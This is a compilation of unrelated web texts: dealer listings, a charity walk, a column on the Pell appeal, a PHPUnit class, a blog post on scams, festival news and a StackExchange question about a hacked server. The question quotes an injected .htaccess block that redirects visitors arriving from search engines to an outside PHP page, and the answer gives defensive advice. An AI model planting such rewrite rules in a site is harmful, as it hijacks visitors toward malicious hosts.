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You are viewing all posts for tags: cadillac
Used CADILLAC Escalade Mishawaka IN 46545
CADILLAC Escalade Base
Experience driving perfection in the 2010 CADILLAC ESCALADE. Smooth gearshifts are achieved thanks to the powerful 8 cylinder engine, and load leveling rear suspension maintains a comfortable ride. It distinguishes itself from the competition with features such as: 1-touch window…
Used CADILLAC SRX Mishawaka IN 46545
CADILLAC SRX Luxury Collection
Treat yourself to a test drive in the 2015 CADILLAC SRX. It features all-wheel drive versatility, an automatic transmission, and a refined 6 cylinder engine. A wealth of standard features means that you no longer have to sacrifice. Like…
CADILLAC Escalade Luxury Collection
Get excited about the 2016 CADILLAC ESCALADE. It features four-wheel drive capabilities, a durable automatic transmission, and a powerful 8 cylinder engine. A wealth of standard features means that you no longer have to sacrifice. Like power windows, mirrors…
Used CADILLAC ESCALADE ESV Mishawaka IN 46545
The 2009 CADILLAC ESCALADE ESV. Under the hood you'll find an 8 cylinder engine with more than 400 horsepower, and load leveling rear suspension maintains a comfortable ride. A wealth of standard features means that you no longer…
Take command of the road in the 2009 CADILLAC ESCALADE. Under the hood you'll find an 8 cylinder engine with more than 400 horsepower, and load leveling rear suspension maintains a comfortable ride. All wheel drive provides for safe passage…
CADILLAC Escalade Premium AWD
The 2012 CADILLAC ESCALADE. Smooth gearshifts are achieved thanks to the powerful 8 cylinder engine, and load leveling rear suspension maintains a comfortable ride. A wealth of standard features means that you no longer have to sacrifice. Like all…
CADILLAC SRX V6
Here's a great deal on a 2007 CADILLAC SRX. A 3.6 liter V-6 engine pairs with a sophisticated 5 speed automatic transmission, and load leveling rear suspension maintains a comfortable ride. A wealth of standard features means that…
CADILLAC Escalade Luxury
You can expect a lot from the 2015 CADILLAC ESCALADE. Under the hood you'll find an 8 cylinder engine with more than 400 horsepower, and load leveling rear suspension maintains a comfortable ride. Four wheel drive allows you to…
Used CADILLAC ATS Mishawaka IN 46545
CADILLAC ATS 2.0L Turbo Performance
Treat yourself to a test drive in the 2015 CADILLAC ATS. With just over 10,000 miles on the odometer, this 4 door sedan prioritizes comfort, safety and convenience. Under the hood you'll find a 4…
1500 200 300 370Z 4Runner 9-3 A3 A4 A5 Acadia Accord Accord Crosstour Accord Hybrid allroad Altima Armada Aspen ATS Audi Avenger Beetle Buick CADILLAC Caliber Camaro Camry Camry Solara Captiva Sport Cayenne Challenger


The Steco Maxi-Cosi carrier allows you to safely transport your baby in the Babboe Slim from the age of 3 months. The Maxi-Cosi carrier is installed on the frame so that your child is facing you.
Please note: the Maxi-Cosi carrier cannot be combined with a Thule (Yepp) bike seat. The remaining seat can be fitted with a cushion and backrest.


Our flagship fundraising event, Walk for Hope, returns to the New Forest for its third year on Sunday 9 June, and we'd love more walkers than ever to stride out and raise vital funds for local people living with cancer.
New for 2019 is the option of a five-mile route, alongside the ten and 20-mile distances, making the event even more accessible for supporters of all ages and abilities.
I work for John Lewis in Southampton which chose Wessex Cancer Trust's Waterside Support Centre in Hythe as its charity of the year, and wanted to take part in this event to show my personal support to those living with cancer. What an emotional day it was! I met people who've had cancer and won, have cancer and are winning, and someone who has cancer but it's incurable. I burst into tears reading the dedications on people's backs, I had a moment in the middle when I thought about the many people I've known whose lives have been affected by cancer, and again when I crossed the finish line out of sheer pride. It was also a personal challenge for me - something to train for and a way of getting fitter and healthier.
The peace and beauty of the New Forest make it a fitting setting to come together to give hope to friends and family undergoing cancer treatment, to remember loved ones and to support everyone affected by cancer. We'd love 2019 to be the biggest and best yet!
Entrants receive an official Walk for Hope t-shirt, a fundraising pack, a training and event guide, and membership to a Facebook group where they can meet other participants and share fundraising and training tips. After being cheered over the finish line, walkers will be congratulated with a medal and well-earned refreshments!
Anyone registering before 31st March can take advantage of early bird prices of £10 for a child under 16, £20 for adults, £70 for a team and £4 for dogs. Visit https://www.wessexcancer.org.uk/Event/walk-for-hope-2019 for more information and to join up, or contact [email protected].
We use all of the money raised to provide practical and emotional support to anyone living with cancer in Hampshire, Wiltshire, Dorset and the Isle of Wight. The event is being sponsored by Irwin Mitchell Solicitors and Brewin Dolphin Investment Management.
Our annual Bournemouth Air Festival hospitality day sponsored by IT support and business solutions provider QuoStar raised £11,626 to help local people living with cancer.


I am currently looking for a post grad job in marketing or communications, ideally in sports or tech. If you are looking someone who has experience in leadership, organization, public speaking, writing, marketing analytics, and customer relations, I'd love to hear from you!
I'd love to hear from you or collaborate!


*Applies to age as on 31 December 2019.
*Some age categories have restricted entry. Please review our race rules and regs here.
*Starting and Cut-off times subject change for each category.
*All runners will be notified of changes by email within 48 hours of event date.


Always make sure your firearm is unloaded and the chamber is empty.
Remove the stock magazine release button by using a punch or dowel to press the mag release button below the receiver lower surface and turn the mag catch counter clockwise until it unscrews from the mag release button.
Install the mag catch into the recess on the left of the receiver and place the spring on the threaded portion from the right side of the receiver.
Screw the new Timber Creek Outdoors button onto the threaded portion of the magazine catch 2 rotations with the three tapped holes facing away from the receiver.
Use a punch or dowel to press the button below the receiver lower surface and turn the magazine catch clockwise until the threaded portion is one turn past flush with the button head.
Place the Timber Creek Outdoors AR Extended Magazine Release on the button so that the button fits inside of the recessed pocket and install the screws. Align the Extended Magazine Release parallel to the trigger guard before tightening the screws.


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The Pell verdict: Various shades of justice
A three-judge panel in Australia has upheld the guilty verdict against Cardinal George Pell. On two of the claims put forward by Pell for overturning the verdict, the three judges were unanimous. On the third claim — the key issue of reasonable doubt — they divided two to one. Pell is already serving a six-year sentence for abusing a minor.
20190821T0714-29621-CNS-PELL-CONVICTION-UPHELD.jpg
Australian Cardinal George Pell arrives at the Supreme Court of Victoria in Melbourne Aug. 21. An Australian appeals court upheld the conviction of Pell on five counts of sexually assaulting two choirboys more than two decades ago. (CNS/AAP Images, Erik Anderson via Reuters)
In announcing their decision, the justices emphasized that they found Pell's accuser credible. In the Anglo-Saxon legal system, great deference is given to a jury's assessment of credibility. An appeals court may overturn a lower court decision based on an issue of law, but rarely would they overturn a conviction based on a jury's assessment of credibility. But, the judges went further, positively stating that they agreed with the jury in finding the accuser credible. They also slammed Pell's attorneys who wanted to present an animation of the scene that the judges labeled "tendentious in the extreme."
The other fact that was obvious in the judges' statements was that these cases of sexual abuse rarely have a corroborating witness. That is not how sex abuse works: The perpetrator always tries to conceal the crime. The jury is almost always faced with a "he said/he said" situation. Rarely is there a blue dress offering forensic evidence.
Those of us who were never great fans of Pell can take no delight in this decision: The tragedy of abuse is cancerous, and it affects not only the victim, not only other priests who do not abuse children, not only the entire Body of Christ, but it seems obvious to me that the perpetrator is always himself a sad and sick person, to be pitied as much as punished.
This case, like that of former Cardinal Theodore McCarrick, has left Pell's friends reeling. Many of them could not bring themselves to believe what 12 jurors found credible. Perhaps they never will.
After the trial concluded last February, Pell's longtime friend George Weigel claimed that it is the Australian criminal justice system that is on trial and not the cardinal, because "the case against Pell has been fraught with implausibility and worse from the outset." Weigel failed to note that he was not present for the trial in its entirety and even if he were, in the Australian system, the press is not permitted to see all the evidence: Only the jury, the judge and counsel see all the evidence. Now we can add the appellate judges, who saw videotapes of the testimony none of the rest of us saw. The cardinal or his lawyers told Weigel all about it though, and he trusts them completely. In this regard, Pell is lucky: We should all have such a loyal friend as Weigel.
Weigel is not alone. EWTN — both on its "Nightly News" program and on Raymond Arroyo's show featured Australians who insisted Pell was innocent and that the public animus against the Catholic faith was such that the guilty verdict was as inevitable as it was unjust. LifeSiteNews editor John-Henry Westen called for a novena for the "spiritual and temporal welfare and intentions of His Eminence George Cardinal Pell."
I hope Pell never did the things he was accused of, but the incredulity of his friends is rooted in their belief that the primary cause of clergy sexual abuse is a lack of fidelity. If someone believes what the church teaches about sex and acts on it, then there would be no sex abuse. But, then, if everyone were faithful to the Gospel there would be no theft, no coercion, no war, no malice. In some sense, obviously, a lack of fidelity is involved in clergy sex abuse — as it is in all human sinfulness — but it lacks explanatory value and, in the Pell case, it is no reason to cast aspersions on the Australian judicial system. That system is rated as the 11th best in the world on the Rule of Law index. The U.S. ranks 20th. Australia is not Somalia.
Surely it has dawned on Pell's defenders that many of the characteristics they admire in Pell — his ostentatious orthodoxy, his undoubted vigor, his commitment to the ecclesial vision of Pope St. John Paul II, his willingness to publicly dismiss critics and those who are less enamored of muscular Catholicism than he is — all of those traits were evident in the life of Fr. Marcial Maciel Degollado, too.
Conservative Catholics were quick to embrace the charges leveled against McCarrick, even without a trial verdict. Weigel, for example, never gave the benefit of the doubt to McCarrick whom he acknowledged as guilty of "serial sexual depredations." Why accept the allegations against McCarrick so readily, while maintaining Pell's innocence?
None of us knows with absolute certainty what happened between Pell and the young man who has alleged Pell abused him. It is crushing to think that someone you once admired did something so evil as abuse a child. Pell's friends are experiencing now what McCarrick's friends experienced last year: first, the self-questioning about why the evil was not detected, followed by uncertainty in the soul that the failure to see it makes one complicit. These emotional responses do not make sense, but they happen anyway.
What we have learned as a church is that child abuse was perpetrated by those who are conservative as well as those who are liberal, by those who rose through the ranks of the hierarchy and those who stayed as parish priests, by tall priests and short, by skinny and obese, that the illness afflicted many priests in many different situations. We have learned, too, what steps must be taken to protect children, and what steps must be taken to end the culture of cover-up that allowed the cancer to fester for so long.
My heart goes out to Pell's friends, but they must come to terms with reality: It is virtually impossible, now, to believe that Pell was entirely innocent of the allegations leveled against him. That is not an indictment of his ecclesiology. It takes away nothing of his accomplishments. But, the same could be said of McCarrick. The hypocrisy of treating these two men differently must stop.
Instead, it behooves all of us to invite some scholars in comparative legal studies to examine how different judicial systems and norms interface with the issue of clergy sex abuse. The nature of the crime, the fact that the victim often is unable to admit what happened for years or even decades, has required some jurisdictions to set aside a cornerstone of common law jurisprudence: the statute of limitations. What other changes in jurisprudence are required? Are there aspects of the way the Australian system works that would benefit the U.S. justice system? Could there be best practices that protect the rights of both the victim and the accused?
It is a sad day to be sure. There are no winners in these horrible cases. We must hope that an innocent man has not been wrongly convicted. We should check the hubris at the door about the Australian judicial system and culture and accept that the verdict might have been just. That verdict will not restore innocence to the victim nor dignity to anyone else. But, unless there is new evidence to the contrary, and evidence that is persuasive, or Pell decides to appeal to the country's highest court and he wins his case there, we must accept that justice has been rendered.
[Michael Sean Winters covers the nexus of religion and politics for NCR.]
Editor's note: Don't miss out on Michael Sean Winters' latest. Sign up and we'll let you know when he publishes new Distinctly Catholic columns.
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Column | The Pell verdict: Various shades of justice
Archbishop Nienstedt exits early from Battle Creek, Mich., parish
Editorial: Francis should seize momentum of Chile resignations
Leonardo Boff's model of charism offers road map out of clericalism
Francis is betting a synodal church will be a cure for a clerical church

redpajama_set_name: RedPajamaCommonCrawl


text:
<?php

/**
 *
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 * @package    PHPUnit
 * @subpackage Framework_Constraint
 * @author     Sebastian Bergmann <sebastian@phpunit.de>
 * @author     Bernhard Schussek <bschussek@2bepublished.at>
 * @copyright  2001-2012 Sebastian Bergmann <sebastian@phpunit.de>
 * @license    http://www.opensource.org/licenses/BSD-3-Clause  The BSD 3-Clause License
 * @link       http://www.phpunit.de/
 * @since      Class available since Release 3.6.0
 */
class PHPUnit_Framework_Constraint_SameSize extends PHPUnit_Framework_Constraint_Count
{
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     * @var integer
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    protected $expectedCount;

    /**
     * @param integer $expected
     */
    public function __construct($expected)
    {
        $this->expectedCount = $this->getCountOf($expected);
    }
}

redpajama_set_name: RedPajamaGithub


text:
HomeCybercrime / PrivacyI write about scams for a living; Trump's 'blame the media' routine feels awfully familiar
I write about scams for a living; Trump's 'blame the media' routine feels awfully familiar
August 23, 2017 Bob Sullivan Cybercrime / Privacy, Uncategorized 2
Donald' Trump Facebook page
Con men always need a dance partner.
I've spent 25 years writing about scams, and I've interviewed 1,000s of victims. I've talked to 90-somethings who are sure a woman (or man) in Nigeria loves them and just needs money for a flight home. To people who are sure that this pill or that gadget will make them younger or smarter or thinner. Sure this annuity is better than that index fund (just ignore that stuff about fees). Convinced that the pyramid scheme they're in isn't really a pyramid scheme because the man who is making all the money told them it was multi-level marketing.
Worse yet, I've talked to lots of people right as they were writing checks to scammers and couldn't talk them out of it. The victims were "prepped" for our conversation. "The media is just trying to ruin it for everyone," says the man running the pyramid scheme. "Don't listen to people who say I don't love you," says the sweetheart scammer. It breaks my heart to think of all the lonely, elderly people I've hung up with, knowing they will continue to spend their life's savings on a fantasy — and in fact, probably hate me, at least for now.
Victims come from all walks of life. Young, old, smart, uneducated. One of my main principles is this: Folks who think they are too smart to fall for a scam are the easiest marks. I find people with a conspiracy-theorist orientation are the easiest to trick; their mental filters tend to be an on/off switch. They distrust you completely until they trust you completely. Flip them, and you are taking candy from a baby.
Flipping is easily done by finding a common enemy. With the sweetheart scam, it's the family: "They don't want you to be happy. They're jealous." With health, it's "here are cures they don't want you to know about."
With politicians, it's "news they aren't covering."
There are seven reasons I think people fall for scams, as I've written before. But I can distill them down to one here: Con men need a willing dance partner. The vast majority of financial crime victims I've interviewed played a real role in their own demise. They wanted money for nothing. They wanted an easy way out of debt. They wanted to believe.
When reality arrives in the form of questions from someone like me, the resistance is frighteningly firm. Victims just can't bear the cognitive dissonance that comes with the horrible reality that the cute military man stationed in Lagos is just…a man stealing from you in Lagos.
Victims are always the last to know.
What does this have to do with our current political climate? I've heard from several people I love and care about recently who echo our president's claim that the media is the source of our problems in America. Politicians have been blaming journalists for their troubles since the beginning of journalism, so that's not a surprise. The surprise is the long list of people who are falling for it. Now. At this moment in time.
We live in an age when there are thousands of media outlets available to every American in an instant, the vast majority completely free of charge. You can read or watch them from any room in the house, from the backyard, on the bus, at a coffee shop. In addition, there are millions of people posting and Tweeting their eyewitness accounts and their commentary about all this. Again, all free.
There is no media conspiracy. Nobody is hiding things. There are no stories "they don't want you to know about." There might be a TV channel or a newspaper you don't like. Great. There's hundreds more. Thousands more. Never in human history has media been so free and easy. If you feel like a TV channel isn't giving your point of view a fair shot, well, try a few more. Better still, start your own publication. It costs a few bucks, if that.
Given this reality, blaming the media is nonsensical. If you believe it, you're a dance partner.
How far does this nonsense go? At every public event, our president takes the time to single out working journalists kept in a pen and deeply insults their character — they are bad people and so on. That's OK. We're used to being insulted. I've been verbally undressed at public meetings my whole adult life; it's part of the job. Again, it's a tried and true technique.
Trump takes it to new heights, however. On Tuesday, he complained to the crowd that the dishonest media was turning their cameras off so he couldn't get his message out to the people watching at home. As before, these kinds of statements whip the room of willing dance partners into a frenzy. But that moment was broadcast live on TV. By several networks. To repeat:
His claim that the "fake news" was suppressing his speech was broadcast, for free, by the "fake media."
Thousands cheered. Perhaps millions more at home cheered. Did none of them smell even a whiff of absurdity?
Steve Jobs was a well-known liar and manipulator. He managed to get his way by creating what came to be known as a "reality distortion field" at Apple. Someone would pose an idea on Tuesday, he'd say it was stupid, then he'd show up on Wednesday and pitch the same ideas as his own. People around him were so confused, and so intimidated, he'd get away with it.
Normal people don't think this way, so it throws them off. Con artists are often masters of this technique.
I can think of no better example of a reality distortion field then this "they're turning those suckers (cameras) off fast" claim being broadcast on live TV.
I'm here to tell you: Donald Trump is not liberating you from some media conspiracy. He's dancing with you. Don't be the last to know.
Follow this story: AlertMe
If you've read this far, perhaps you'd like to support what I do. That's easy. Buy something from my NEW LIBRARY AND E-COMMERCE PAGE, click on an advertisement, or just share the story.
GPS hacking was already a concern; is it causing U.S. Navy ships to crash?
Carton's Corner on consumer law: Why are low-dollar ripoffs such a big problem?
Kelly Lawrence
Seriously, TRUMP TRAIN not stopping any time soon, "It's the Economy, Stupid!" remember the rhetoric of 1992, I believe it was James Carville or Paul Begala that slammed Bush with it. The only reason Clinton won was because ROSS PEROT, check the final numbers and you will see TRUMP had better numbers. This is a movement and the 2016 campaign showed the MSM for who they were. Intelligent people can fact check every single statement made by the media.They are condoning bad journalism for each other where they once admonished themselves from spreading falsehoods. The consumers know when the Washington Post goes after that one citizen standing behind Trump but ignores the content of the WIKILEAKS or when Google/ Facebook/YouTube etc. creating algorithm that are censoring and altering news feeds to promote false narratives we are going to have to be careful to avoid bait click and do our own research for the facts. How'd that Russian collusion story go for you? It ended exactly how the facts I was following said it would. Great big nothing burger, buckle up buttercup, TRUMP TRAIN just getting started. "The American Dream Lottery" not part of their AGENDA, pfftt (raspberry)
Joanne B.
Beautiful, played right into that one, Kelly Lawrence! You just proved to Bob what great rhythm you have! AND 5-6-7-8…Dance your way into oblivion if YOU choose, but leave the (sensible) rest of the country to pick up the pieces when Trump is finished. A little dancing for you before WE dine on that great big JUICY nothing burger. IF IT WALKS LIKE A DUCK AND QUACKS LIKE A DUCK… IT'S A DUCK!


text:
Q: my server is infected
Possible Duplicate:
My server's been hacked EMERGENCY

I have a fedora server which I use mainly for a webpage. Two days ago I've noticed that the source files of the web-app were modified. Luckly I have back-ups and I use git.
Here is a sample of how my .htaccess looks:
#c3284d#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://michaelmazur.net/xml.php [R=301,L]
</IfModule>
#/c3284d#

what advice do you have for me? What can I do?

A: Fix the web app.  If it's a third party app (Drupal, WordPress, etc) update it.  If it's homegrown then find the hole(s).  Look at your web server logs to see what was accessed.  Turn on comprehensive logging, especially something that will include query strings.  Plug all SQL injection holes.
Give us more details if you need further direction.

redpajama_set_name: RedPajamaStackExchange


We make organic baby and toddler apparel and accessories with adjustable 'grow-with-me' features that allow our clothing to fit for 2-3 times longer than traditional sizing. We use high-quality, sustainable materials and all of our products are handmade by our small team.
I started Pure Colour Baby in 2012 and I have been working on it part-time since then. Over the last 2 years I have put more focus (and time) into my business but I was struggling with next steps and felt like I needed some direction and mentorship to grow my business further. I found Factory45 and it was the perfect fit.
Factory45 taught me SO many incredibly important things. My background is in the interior design field so I really appreciated learning about sampling, production and working with sew shops. I now feel much more confident in my business decisions and ready to take those next steps. I have narrowed down my focus, streamlined my collections and really honed in on what makes my business special.
The lessons and resources were super valuable, as was the personal connection to Shannon. I have also discovered a few new supplier resources which I had not been able to locate on my own. The F45 community is also wonderful! The advice and encouragement in our group was so valuable. I made a big change with my grow-with-me sizing and having the community to bounce ideas off of was a big help.
I participated in my first large, multi-day artisan show in a large city last fall and I just did another show last week. I redesigned all of our sizing and introduced new pieces for our spring collection. Myself and my assistant did all of the pattern drafting, tested on tiny fit models and produced the collection.


Recorded April 1971 by Ralph and Jane Ayers. Other names listed came from newspaper obituaries, funeral home records and City of Cedartown burial records.
Directions: Hwy 278, Cedartown across the highway and just past Cedartown High School.
Please Contact us if you know of a name(s) we need to add.


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What are your thoughts on the current status of CM Punk in WWE? I believe he's the only guy since John Cena and Randy Orton to get elevated to the top of the company.
I place CM Punk exactly where you are placing him in terms of active top stars in WWE - John Cena is the face followed by Orton then CM Punk. The "leaving" angle that WWE used to elevate Punk this summer worked perfectly because it was a legitimate situation that allowed for his real-life personality to shine through his wrestling gimmick. These are always the most successful gimmicks and I can tell you Punk has been one of the company's top merchandise sellers since it was done.
Whatever happened to Alex Riley?
Alex Riley is still an active member of the Raw roster. He beat Drew McIntyre in a dark match prior to last night's Raw Supershow. There's not an active storyline for him but we've been seeing a lot of things get cut from TV due to time constraints.
What do you think of Daniel Bryan attempting to "cash in" the Money in the Bank briefcase on Smackdown?
Daniel Bryan is the yo-yo of WWE. His push is on then it's off, it's up then it's down. While some may accuse me of having a "man crush" on Daniel Bryan, I feel he can flat out get it done. He can out work anyone in the company and his mic work/personality isn't near as bad as a lot of people perceive. I've always questioned whether or not Bryan would have success in WWE because he doesn't fit the prototypical WWE model in terms of who gets pushed. This is something Vince McMahon and Triple H would argue (and point to workers such as Rey Mysterio and CM Punk) but there's no denying a prototypical model exists. I field a lot of questions about who should take the World Heavyweight Championship off Mark Henry and Daniel Bryan would be a great choice, however, I'm not holding my breath. Nonetheless the reaction he generated from the crowd on last week's Smackdown when they thought he won the title should speak volumes.
Do you think Jeff Hardy will get a TNA Championship shot after Final Resolution?
I've already documented on WrestlingNewsWorld.com Premium that Hulk Hogan and Eric Bischoff want the TNA Championship on Jeff Hardy. I don't want to look too far ahead but you need to read this post and you can make your own conclusion.
Remember questions with proper spelling and grammar receive top priority and stand the best chance of getting answered. The next installment of Ask WNW will run on Wednesday, November 30, 2011.


text:
FOREIGN FIRE INSURANCE TAXES -- Exempt Volunteer Firemen's Benevolent Association (use of tax monies to install an elevator accessible to disabled members of association)
INSURANCE LAW §§9104, 9105: A benevolent association may use foreign fire insurance tax monies to facilitate access to its meeting room and offices by disabled members of the association through the installation of a handicapped accessible elevator. In order to ensure that foreign fire insurance tax monies are used exclusively for the purposes set forth in the special act governing the association, however, if it is anticipated that the elevator will be used to significant degree by other than disabled association members, only that portion of the cost attributable to making the elevator handicapped accessible may be paid for with foreign fire insurance tax monies.
You ask whether a volunteer firefighters' benevolent association may expend foreign fire insurance tax monies to pay for installation of an elevator in a building owned by the association. The elevator would provide transportation to the association meeting room and office area, and would be made accessible to disabled members of the association.
Insurance Law §§9104 and 9105 govern the distribution and use of foreign fire insurance tax monies, except as otherwise provided in any special law. Therefore, when an exempt firemen's benevolent association is governed by a special act of the State Legislature and is authorized to receive direct payment of foreign fire insurance tax monies, the monies may be expended only in the manner prescribed by the special act (see 1999 Opns St Comp No. 99-3, p 5; 1997 Opns St Comp No. 97-4, p 8; 1995 Opns St Comp No. 95-26, p 53; 1992 Opns St Comp No. 92-7, p 15; 1991 Opns St Comp No. 91?29, p 84; 1989 Opns St Comp No. 89-11, p 23; 1983 Opns St Comp No. 83-120, p 151; 1981 Opns St Comp No. 81-328, p 357).
The benevolent association in question is governed by the Laws of 1940, chapter 73, §4 (Nassau County Civil Divisions Act §612.0 et seq.). Insofar as it relates to the expenditure of foreign fire insurance tax moneys, chapter 73 provides as follows:
Such taxes shall only be used for the care and relief of disabled or indigent volunteer firemen and their families.
In construing this language, we have previously expressed the opinion that the benevolent association may not expend foreign fire insurance tax monies to make improvements to a fire department headquarters when it was apparent that the improvements did not relate to the care and relief of indigent or disabled firefighters and their families (Opn No. 95-26, supra). We have also, however, construed this language, as well as similar language in another special act, as authorizing a benevolent association to acquire space in buildings needed for the conduct of meetings and the storage of records relating to the association's administration of foreign fire insurance tax monies (id.; Opn No. 89-11, supra). Moreover, we have suggested that in the absence of a statutory definition or judicial construction, the word "relief" as used in these types of special acts signifies the "removal in whole or in part of any evil or hardship that afflicts body or mind; especially, the partial removal of pain, grief, want, care, anxiety, toil or anything distressing and burdensome, so that some ease is obtained" (Opn No. 92-7, supra, quoting from In re McCormick's Estate, 169 Misc 672, 675, 8 NYS2d 179, 183).
Based on the above, it is our opinion that a benevolent association may use foreign fire insurance tax monies to facilitate access to its meeting room and offices by disabled members of the association through the installation of a handicapped accessible elevator. In order to ensure that foreign fire insurance tax monies are used exclusively for the purposes set forth in the special act governing the association, however, we also believe that, if it is anticipated that the elevator will be used to significant degree by other than disabled association members, only that portion of the cost attributable to making the elevator handicapped accessible may be paid for with foreign fire insurance tax monies.
Brian Flaks, Secretary
Lawrence-Cedarhurst Volunteer and Exempt
Firemen's Benevolent Association, Inc.


How I feel when I go to the Container Store!
Every school has one of these! It's the law, I think.
I hate this feeling, or do I love it?
I'll be adding some more funnies soon. I hope I at least made you smile.
Check out my Pinterest board for a collection of Funny Teacher Stuff!!


Prior to the Toronto loss, Walton said he had received messages of support from different corners but that it did not help or affect how he continues to approach his job in his third season as head coach.
"I have my job to coach this team and the support is nice, obviously, whether it is coming from my dad or it is coming from another coach," Walton said. "It's nice, but it doesn't change what I am doing as far as the job and coaching this team and these players. It doesn't influence that at all."
"My job is hard, but it is a lot of fun," added Walton when asked if the news of his meeting with Johnson coming out made his job any harder. "I love my job. And nothing changed. It didn't get any harder. Prepping for Portland [on Saturday] is never easy, but we went about our business the same we always do."
When asked what his father, Bill Walton, said to him, the coach replied, "That he loves and supports me no matter what."
The Lakers next face the Minnesota Timberwolves at home on Wednesday.


Clare is a western county, perhaps most famous for its scenery which includes the cliffs of Moher and the Burren. Clare families are mainly native Gaelic families, as the county was set aside for Gaelic families which were expelled from other parts of the country during the Cromwellian era. Common names in the county include McMahon, McNamara, O'Brien, Moloney, Ryan, Kelly, Mclnerney, O'Connor, Keane, O'Halloran, Hogan, Burke, Murphy, Lynch and Walsh. It is one of the counties which experienced a high level of emigration to North America and elsewhere. Between the years 1850 and 1880 an estimated 112,000 people emigrated from Co. Clare. This book sets out the records available for Clare, where they can be accessed, and how they can be used to best effect in tracing Clare families.
It is a quarter century since the first in this series of guide books made its debut...and the present edition adds to the value of its predecessors.&nbsnbsp; ... The value of this series is that it can add much greater detail to what is on offer on the more local level, county by county. What is particularly attractive is the inclusion of numerous examples of the various types of documents that await the researcher. ... As a reviewer I have no hesitation in suggesting to readers that they consider buying the book or books for the areas where their families originated. The books are sensibly priced and offer many a lead. ... the series opens doors for people whose ancestors emigrated from Ireland and whose paper trail is less a challenge now than it seemed a generation or two ago.


text:
Coshocton to remember canal days during the Canal Festival
Beth Scott | August 6, 2014
COSHOCTON – The Canal Days Festival is a time to celebrate time periods of long ago and reminisce about the history of Coshocton. This year's theme is "Reflection of our Heritage" and this will be reflected throughout the festival in the parade and the entertainment. Stroll down the sidewalks and enjoy the many craftspeople, live entertainment, and vendors. Everyone is invited to wear their best canal-era costume throughout the festivities.
The festival will kick off on Thursday, Aug. 7 when the Canal Junior Queen will be named at the Court Square Gazebo at 6 p.m. The Canal Cuties Contest winners will also be announced at this time. On Friday, the 2014 royalty will be expanded when the Canal Festival Princess and Queen are selected at the Court Square Gazebo at 6 p.m. Friday will also feature food, crafts, and games starting at 2 p.m.
On Saturday, the fun continues with the 15th Fabulous 50's Car Show and the second annual Bike Show sponsored by First Step. Cars and trucks may enter in the following categories: 1959 and under, 1960s – 1979, 1980s – 1999, and 2000 and up. A dash plaque will be awarded to the first 50 entries. Plaques will also be awarded to the top three in each class with one trophy to the best of each class and one for best overall. Cost is $10 per registrant. The registration table will be by the railroad tracks.
"We use the money for our shelter services to shelter women and children who are victims of domestic violence and sexual assault," said Megan Philabaum of First Step.
Registration is from 9 – 11 a.m. and the show is from 11 a.m. – 2 p.m. Awards will be presented shortly after 2 p.m.
The second annual bike show will be at the same time. Awards will be presented to the top two in each class and a trophy will be awarded to best of each class. Classes include sport, cruiser, touring, classic, trikes, and side cars.
There will also be a DJ, Dave Leary, and a 50/50 drawing and door prizes during the car and bike show.
After browsing through the car and bike show on Main Street, cool down from the heat of the day at the Presbyterian Church during the annual Canal Quilter's Show. The show officially opens Friday at 10 a.m. and closes at 6 p.m. This year's theme is, "Celebration of Scraps" and they will highlight scrap quilts.
"Our opportunity quilt this year is just spectacular," said Carolyn Manns, member of Canal Quilters. "Each member was challenged to make blocks of different fabrics they had around the house and to turn the blocks in (to the group) and they were made into spools. The quilt is a scrap quilt that features scraps from all of our members."
This quilt took first place in the Chapter Row category at the National Quilting Association's annual quilt show in Columbus just recently. Tickets for a chance to win this beautiful and unique quilt are $1 each or six for $5. They can be purchased at the show or from any Canal Quilters member.
While browsing through the quilts, make sure to vote on your favorite. Voting can be done on Friday and Saturday from 10 a.m. – 6 p.m. The ribbons will be placed on the winning quilts on Sunday, which can be viewed from noon to 4 p.m. Kids may also get in on the fun with a scavenger hunt where they are given photos of different things to look for in the quilts
"We are also doing the Veterans' Hall again," said Manns. "It was very popular last year. All quilts were made by members to give to various veterans in the county."
There will also be boxed lunches for purchase and various vendors and a boutique to look through. Members of the Canal Quilters have handmade various items that will be on sale in the boutique.
Admission to the show is $5. Everyone who attends the show will leave with a flower made out of buttons that was created by the members.
If you've got a sweet tooth, head over to the Civic Hall to browse through the many beautifully-edible cakes at the annual BPW cake auction. For the first time, the annual BPW cake auction is going to be held in conjunction with Canal Days due to a conflict with a football game in September. By moving the auction to coincide with Canal Days, members of the BPW are hoping to attract more bidders.
As of print, 25 cakes have been entered into the auction. If you haven't entered a cake and still want to do so, cakes are still being accepted and can be dropped off on Aug. 9 from 10 a.m. – noon. Viewing begins at 1 p.m. and the auction will start at 6:30 p.m., shortly after the parade. Auctioneers for the evening will be Mary Mason and Sherri Fortune of Agents Realty and Auction Service. The money raised will go toward BPW.
